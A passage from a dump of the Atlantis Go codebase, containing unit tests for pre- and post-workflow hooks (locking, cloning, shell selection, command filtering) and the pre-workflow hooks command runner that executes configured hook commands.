expectedCtx}),\n\t\t\tEq(testHook.RunCommand),\n\t\t\tAny[string](),\n\t\t\tAny[string](),\n\t\t\tEq(repoDir),\n\t\t)).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPostWorkflowHookRunner.VerifyWasCalledOnce().Run(\n\t\t\tArgThat[models.WorkflowHookCommandContext](WorkflowHookCommandContextMatcher{expected: expectedCtx}),\n\t\t\tEq(testHook.RunCommand),\n\t\t\tEq(defaultShell),\n\t\t\tEq(defaultShellArgs),\n\t\t\tEq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\tt.Run(\"success hooks not in cfg\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t// one with hooks but mismatched id\n\t\t\t\t{\n\t\t\t\t\tID: \"id1\",\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t// one with the correct id but no hooks\n\t\t\t\t{\n\t\t\t\t\tID:                testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\n\t\twhPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tpostWhWorkingDirLocker.VerifyWasCalled(Never()).TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, \"path\", command.Plan)\n\t\tpostWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))\n\t})\n\tt.Run(\"error locking work dir\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(func() {}, errors.New(\"some error\"))\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tAssert(t, err != nil, \"error not nil\")\n\t\tpostWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))\n\t\twhPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t})\n\n\tt.Run(\"error cloning\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tunlockCalled := newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, errors.New(\"some error\"))\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tAssert(t, err != nil, \"error not nil\")\n\n\t\twhPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"error running post hook\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tunlockCalled := newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, errors.New(\"some error\"))\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tAssert(t, err != nil, \"error not nil\")\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"comment args passed to webhooks\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tunlockCalled := newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHook,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tplanCmd := &events.CommentCommand{\n\t\t\tName:  command.Plan,\n\t\t\tFlags: []string{\"comment\", \"args\"},\n\t\t}\n\n\t\texpectedCtx := pCtx\n\t\texpectedCtx.EscapedCommentArgs = []string{\"\\\\c\\\\o\\\\m\\\\m\\\\e\\\\n\\\\t\", \"\\\\a\\\\r\\\\g\\\\s\"}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"shell passed to webhooks\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithShell,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShell.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithShell.RunCommand), Eq(testHookWithShell.Shell), Eq(defaultShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"shellArgs passed to webhooks\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithShellArgs,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithShellArgs.RunCommand), Eq(defaultShell), Eq(testHookWithShellArgs.ShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"Shell and ShellArgs passed to webhooks\", func(t *testing.T) {\n\t\tpostWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPostWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithShellandShellArgs,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpostWh.GlobalCfg = globalCfg\n\n\t\tWhen(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellandShellArgs.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := postWh.RunPostHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithShellandShellArgs.RunCommand), Eq(testHookWithShellandShellArgs.Shell),\n\t\t\tEq(testHookWithShellandShellArgs.ShellArgs), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"Commands 'plan' set on webhook and plan command\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithPlanCommand,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"Commands 'plan' set on webhook and non-plan command\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithPlanCommand,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Apply)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, applyCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n\n\tt.Run(\"Commands 'plan, apply' set on webhook and plan command\", func(t *testing.T) {\n\t\tpreWorkflowHooksSetup(t)\n\n\t\tvar unlockCalled = newBool(false)\n\t\tunlockFn := func() {\n\t\t\tunlockCalled = newBool(true)\n\t\t}\n\n\t\tglobalCfg := valid.GlobalCfg{\n\t\t\tRepos: []valid.Repo{\n\t\t\t\t{\n\t\t\t\t\tID: testdata.GithubRepo.ID(),\n\t\t\t\t\tPreWorkflowHooks: []*valid.WorkflowHook{\n\t\t\t\t\t\t&testHookWithPlanApplyCommands,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tpreWh.GlobalCfg = globalCfg\n\n\t\tWhen(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace,\n\t\t\tevents.DefaultRepoRelDir, \"\", command.Plan)).ThenReturn(unlockFn, nil)\n\t\tWhen(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull),\n\t\t\tEq(events.DefaultWorkspace))).ThenReturn(repoDir, nil)\n\t\tWhen(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanApplyCommands.RunCommand),\n\t\t\tAny[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil)\n\n\t\terr := preWh.RunPreHooks(ctx, planCmd)\n\n\t\tOk(t, err)\n\t\twhPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](),\n\t\t\tEq(testHookWithPlanApplyCommands.RunCommand), Any[string](), Any[string](), Eq(repoDir))\n\t\tAssert(t, *unlockCalled == true, \"unlock function called\")\n\t})\n}\n"
  },
  {
    "path": "server/events/pre_workflow_hooks_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/google/uuid\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_pre_workflow_hook_url_generator.go PreWorkflowHookURLGenerator\n\n// PreWorkflowHookURLGenerator generates urls to view the pre workflow progress.\ntype PreWorkflowHookURLGenerator interface {\n\tGenerateProjectWorkflowHookURL(hookID string) (string, error)\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_pre_workflows_hooks_command_runner.go PreWorkflowHooksCommandRunner\n\ntype PreWorkflowHooksCommandRunner interface {\n\tRunPreHooks(ctx *command.Context, cmd *CommentCommand) error\n}\n\n// DefaultPreWorkflowHooksCommandRunner is the first step when processing a workflow hook commands.\ntype DefaultPreWorkflowHooksCommandRunner struct {\n\tVCSClient             vcs.Client                    `validate:\"required\"`\n\tWorkingDirLocker      WorkingDirLocker              `validate:\"required\"`\n\tWorkingDir            WorkingDir                    `validate:\"required\"`\n\tGlobalCfg             valid.GlobalCfg               `validate:\"required\"`\n\tPreWorkflowHookRunner runtime.PreWorkflowHookRunner `validate:\"required\"`\n\tCommitStatusUpdater   CommitStatusUpdater           `validate:\"required\"`\n\tRouter                PreWorkflowHookURLGenerator   `validate:\"required\"`\n}\n\n// RunPreHooks runs pre_workflow_hooks when PR is opened or updated.\nfunc (w *DefaultPreWorkflowHooksCommandRunner) RunPreHooks(ctx *command.Context, cmd *CommentCommand) error {\n\tpreWorkflowHooks := make([]*valid.WorkflowHook, 0)\n\tfor _, repo := range w.GlobalCfg.Repos {\n\t\tif repo.IDMatches(ctx.Pull.BaseRepo.ID()) && len(repo.PreWorkflowHooks) > 0 {\n\t\t\tpreWorkflowHooks = append(preWorkflowHooks, repo.PreWorkflowHooks...)\n\t\t}\n\t}\n\n\t// short circuit any other calls if there are no pre-hooks configured\n\tif len(preWorkflowHooks) == 0 {\n\t\treturn nil\n\t}\n\n\tctx.Log.Info(\"Pre-workflow hooks configured, running...\")\n\n\tunlockFn, err := w.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, DefaultWorkspace, DefaultRepoRelDir, \"\", cmd.Name)\n\tif err != nil {\n\t\treturn err\n\t}\n\tctx.Log.Debug(\"got workspace lock\")\n\tdefer unlockFn()\n\n\trepoDir, err := w.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar escapedArgs []string\n\tif cmd != nil {\n\t\tescapedArgs = escapeArgs(cmd.Flags)\n\t}\n\n\terr = w.runHooks(\n\t\tmodels.WorkflowHookCommandContext{\n\t\t\tBaseRepo:           ctx.Pull.BaseRepo,\n\t\t\tHeadRepo:           ctx.HeadRepo,\n\t\t\tLog:                ctx.Log,\n\t\t\tPull:               ctx.Pull,\n\t\t\tUser:               ctx.User,\n\t\t\tVerbose:            false,\n\t\t\tEscapedCommentArgs: escapedArgs,\n\t\t\tCommandName:        cmd.Name.String(),\n\t\t\tAPI:                ctx.API,\n\t\t},\n\t\tpreWorkflowHooks, repoDir)\n\n\tif err != nil {\n\t\tctx.Log.Err(\"Error running pre-workflow hooks %s.\", err)\n\t\treturn err\n\t}\n\n\tctx.Log.Info(\"Pre-workflow hooks completed successfully\")\n\n\treturn nil\n}\n\nfunc (w *DefaultPreWorkflowHooksCommandRunner) runHooks(\n\tctx models.WorkflowHookCommandContext,\n\tpreWorkflowHooks []*valid.WorkflowHook,\n\trepoDir string,\n) error {\n\tfor i, hook := range preWorkflowHooks {\n\t\tctx.HookDescription = hook.StepDescription\n\t\tif ctx.HookDescription == \"\" {\n\t\t\tctx.HookDescription = fmt.Sprintf(\"Pre workflow hook #%d\", i)\n\t\t}\n\n\t\tctx.HookStepName = fmt.Sprintf(\"pre %s #%d\", ctx.CommandName, i)\n\n\t\tctx.Log.Debug(\"Processing pre workflow hook '%s', Command '%s', Target commands [%s]\",\n\t\t\tctx.HookDescription, ctx.CommandName, hook.Commands)\n\t\tif hook.Commands != \"\" && !strings.Contains(hook.Commands, ctx.CommandName) {\n\t\t\tctx.Log.Debug(\"Skipping pre workflow hook '%s' as command '%s' is not in Commands [%s]\",\n\t\t\t\tctx.HookDescription, ctx.CommandName, hook.Commands)\n\t\t\tcontinue\n\t\t}\n\n\t\tctx.Log.Debug(\"Running pre workflow hook: '%s'\", ctx.HookDescription)\n\t\tctx.HookID = uuid.NewString()\n\t\tshell := hook.Shell\n\t\tif shell == \"\" {\n\t\t\tctx.Log.Debug(\"Setting shell to default: '%s'\", shell)\n\t\t\tshell = \"sh\"\n\t\t}\n\t\tshellArgs := hook.ShellArgs\n\t\tif shellArgs == \"\" {\n\t\t\tctx.Log.Debug(\"Setting shellArgs to default: '%s'\", shellArgs)\n\t\t\tshellArgs = \"-c\"\n\t\t}\n\t\turl, err := w.Router.GenerateProjectWorkflowHookURL(ctx.HookID)\n\t\tif err != nil && !ctx.API {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.PendingCommitStatus, ctx.HookDescription, \"\", url); err != nil {\n\t\t\tctx.Log.Warn(\"unable to update pre workflow hook status: %s\", err)\n\t\t\tctx.Log.Info(\"is api? %v\", ctx.API)\n\t\t\tif !ctx.API {\n\t\t\t\tctx.Log.Info(\"is api? %v\", ctx.API)\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t_, runtimeDesc, err := w.PreWorkflowHookRunner.Run(ctx, hook.RunCommand, shell, shellArgs, repoDir)\n\n\t\tif err != nil {\n\t\t\tif err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.FailedCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update pre workflow hook status: %s\", err)\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\tif err := w.CommitStatusUpdater.UpdatePreWorkflowHook(ctx.Log, ctx.Pull, models.SuccessCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil {\n\t\t\tctx.Log.Warn(\"unable to update pre workflow hook status: %s\", err)\n\t\t\tif !ctx.API {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "server/events/pre_workflow_hooks_command_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\truntime_mocks \"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/models/testdata\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar preWh events.DefaultPreWorkflowHooksCommandRunner\nvar preWhWorkingDir *mocks.MockWorkingDir\nvar preWhWorkingDirLocker *mocks.MockWorkingDirLocker\nvar whPreWorkflowHookRunner *runtime_mocks.MockPreWorkflowHookRunner\nvar preCommitStatusUpdater *mocks.MockCommitStatusUpdater\n\nfunc preWorkflowHooksSetup(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tvcsClient := vcsmocks.NewMockClient()\n\tpreWhWorkingDir = mocks.NewMockWorkingDir()\n\tpreWhWorkingDirLocker = mocks.NewMockWorkingDirLocker()\n\twhPreWorkflowHookRunner = runtime_mocks.NewMockPreWorkflowHookRunner()\n\tpreCommitStatusUpdater = mocks.NewMockCommitStatusUpdater()\n\tpreWorkflowHookURLGenerator := mocks.NewMockPreWorkflowHookURLGenerator()\n\n\tpreWh = events.DefaultPreWorkflowHooksCommandRunner{\n\t\tVCSClient:             vcsClient,\n\t\tWorkingDirLocker:      preWhWorkingDirLocker,\n\t\tWorkingDir:            preWhWorkingDir,\n\t\tPreWorkflowHookRunner: whPreWorkflowHookRunner,\n\t\tCommitStatusUpdater:   preCommitStatusUpdater,\n\t\tRouter:                preWorkflowHookURLGenerator,\n\t}\n}\n\nfunc newBool(b bool) *bool {\n\treturn &b\n}\n\nfunc TestRunPreHooks_Clone(t *testing.T) {\n\n\tlog := logging.NewNoopLogger(t)\n\n\tvar newPull = testdata.Pull\n\tnewPull.BaseRepo = testdata.GithubRepo\n\n\tctx := &command.Context{\n\t\tPull:     newPull,\n\t\tHeadRepo: testdata.GithubRepo,\n\t\tUser:     testdata.User,\n\t\tLog:      log,\n\t}\n\n\tdefaultShell := \"sh\"\n\tdefaultShellArgs := \"-c\"\n\n\ttestHook := valid.WorkflowHook{\n\t\tStepName:   \"test\",\n\t\tRunCommand: \"some command\",\n\t}\n\n\ttestHookWithShell := valid.WorkflowHook{\n\t\tStepName:   \"test1\",\n\t\tRunCommand: \"echo test1\",\n\t\tShell:      \"bash\",\n\t}\n\n\ttestHookWithShellArgs := valid.WorkflowHook{\n\t\tStepName:   \"test2\",\n\t\tRunCommand: \"echo test2\",\n\t\tShellArgs:  \"-ce\",\n\t}\n\n\ttestHookWithShellandShellArgs := valid.WorkflowHook{\n\t\tStepName:   \"test3\",\n\t\tRunCommand: \"echo test3\",\n\t\tShell:      \"bash\",\n\t\tShellArgs:  \"-ce\",\n\t}\n\n\ttestHookWithPlanCommand := valid.WorkflowHook{\n\t\tStepName:   \"test4\",\n\t\tRunCommand: \"echo test4\",\n\t\tCommands:   \"plan\",\n\t}\n\n\ttestHookWithPlanApplyCommands := valid.WorkflowHook{\n\t\tStepName:   \"test5\",\n\t\tRunCommand: \"echo test5\",\n\t\tCommands:   \"plan, apply\",\n\t}\n\n\trepoDir := \"path/to/repo\"\n\tresult := \"some result\"\n\truntimeDesc := \"\"\n\n\tpCtx := models.WorkflowHookCommandContext{\n\t\tBaseRepo:    testdata.GithubRepo,\n\t\tHeadRepo:    testdata.GithubRepo,\n\t\tPull:        newPull,\n\t\tLog:         log,\n\t\tUser:        testdata.User,\n\t\tVerbose:     false,\n\t\tCommandName: 